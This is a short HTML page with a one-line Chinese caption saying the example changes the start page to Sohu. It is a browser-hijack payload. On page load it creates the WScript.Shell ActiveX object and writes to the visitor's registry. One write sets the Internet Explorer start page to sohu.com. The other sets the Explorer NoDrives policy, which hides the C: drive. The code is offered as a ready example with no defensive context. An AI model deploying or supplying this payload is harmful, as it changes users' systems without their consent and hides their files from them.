以下例子是改为搜狐
<html>
<head>
<title>测试脚本</title>
</head>
<body>
<object classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh>
</object>
<script>
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.sohu.com");
wsh.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives","00000004","REG_DWORD");
</script>
</body>
<html>